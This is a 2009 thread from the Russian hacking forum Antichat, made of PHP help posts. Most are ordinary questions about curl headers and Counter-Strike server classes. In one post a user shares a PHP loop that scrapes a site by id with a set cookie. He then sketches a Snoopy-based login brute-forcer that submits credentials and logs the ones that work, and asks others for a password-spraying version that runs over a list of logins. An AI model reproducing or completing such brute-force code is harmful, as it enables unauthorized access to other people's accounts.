Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

03.09.2009, 18:09
|
|
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме: 5302668
Репутация:
2054
|
|
попробуй типа:
PHP код:
<?php
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: bla=1f8b74a7b34ffe0134da7c32b5086d75\r\n"
)
);
$context = stream_context_create($opts);
$fp = fopen("log.txt","a");
for ($x=0;$x<=500;$x++){
$content = file_get_contents("http://asd.com/?id=$x", false, $context);
if (preg_match("#(.*)title(.*)#",$content,$matches)){
fputs($fp, $content."\r\n\r\n");echo "ok";
}else{
echo "no";
}
}
fclose($fp);
?>
ща свой вопрос задам...
upd:
скиньте ктонито пример брута по списку логинов из текстовика и с 1 и тем же паролем или проверкой 2-3 паролей на каждый акк поочереди. брут будет с юзаньем http://snoopy.sourceforge.net/ ...
набросок:
PHP код:
$fp = fopen("log.txt","a");
include "Snoopy.class.php";
$snoopy = new Snoopy;
$snoopy->agent = get_random_user_agent();
$snoopy->referer = "http://asd.com/";
$submit_url = "http://asd.com/index.php";
$submit_vars["login"] = "asdasd";
$submit_vars["password"] = "pass";
$submit_vars["send"] = "send";
$snoopy->fetch("http://asd.com/index.php");
$snoopy->setcookies ();
$snoopy->submit($submit_url,$submit_vars);
$content = $snoopy->results;
if (preg_match("#(.*)alert(.*)#",$content,$matches)){
echo "no";
}else{
fputs($fp, $submit_vars["login"].":".$submit_vars["password"]."ok\r\n\r\n");
}
}
fclose($fp);
__________________
Лучший способ защиты - это нападение!!!
Последний раз редактировалось TANZWUT; 03.09.2009 в 18:25..
|
|
|

03.09.2009, 18:16
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
Сообщение от Kaimi
Возьми класс отсюда
http://webscripts.softpedia.com/script/PHP-Clases/Counter-Strike-50878.html
И на основе него сделай
В этом класе же только информация о сервере туда сюда а как соединиться нету
|
|
|

03.09.2009, 18:43
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
Ни кто не знает ?? Плз срочно нужно
|
|
|

03.09.2009, 18:58
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Там как бы есть
public function __construct($ip, $port = 27015)
и
private function cmd($cmd)
Так трудно на основе сделать то что тебе нужно?
|
|
|

03.09.2009, 19:05
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
а эти функции служат для вывода информации о сервере
|
|
|

03.09.2009, 19:13
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
public function __construct($ip, $port = 27015) я использовал а cmd зачем не подскажешь ??
Если не трудно можно пример ??
|
|
|

03.09.2009, 19:40
|
|
Участник форума
Регистрация: 12.03.2008
Сообщений: 159
Провел на форуме: 912928
Репутация:
137
|
|
в ответ на curl от сервера приходит типа
HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Thu, 03 Sep 2009 15:01:59 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
Vary: Host
X-Powered-By: PHP/5.2.0-8+etch13
Pragma: no-cache
Cache-control: private, must-revalidate
Set-Cookie: remixchk=5; expires=Mon, 30-Aug-2010 04:56:18 GMT; path=/;
Content-Length: 94
<?xml version="1.0" encoding="utf-8"?>
<response>
Тело ответа
</response>
Можно как-то проигнорить первую часть, т.е. чтобы только код заносился в $body = curl_exec($c);? Или нужно использовать регулярку для выделения второй части?
|
|
|

03.09.2009, 19:43
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
Код:
CURLOPT_HEADER : При установке этого параметра
в ненулевое значение результат будет включать полученные заголовки.
PHP код:
curl_setopt($curl, CURLOPT_HEADER, False);
|
|
|

03.09.2009, 19:43
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Сообщение от zavra
в ответ на curl от сервера приходит типа
Можно как-то проигнорить первую часть, т.е. чтобы только код заносился в $body = curl_exec($c);? Или нужно использовать регулярку для выделения второй части?
curl_setopt($curl,CURLOPT_HEADER,false);
Вроде так.
|
|
|

03.09.2009, 19:45
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
Включение/Выключение сервера на php как можно сделать ?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|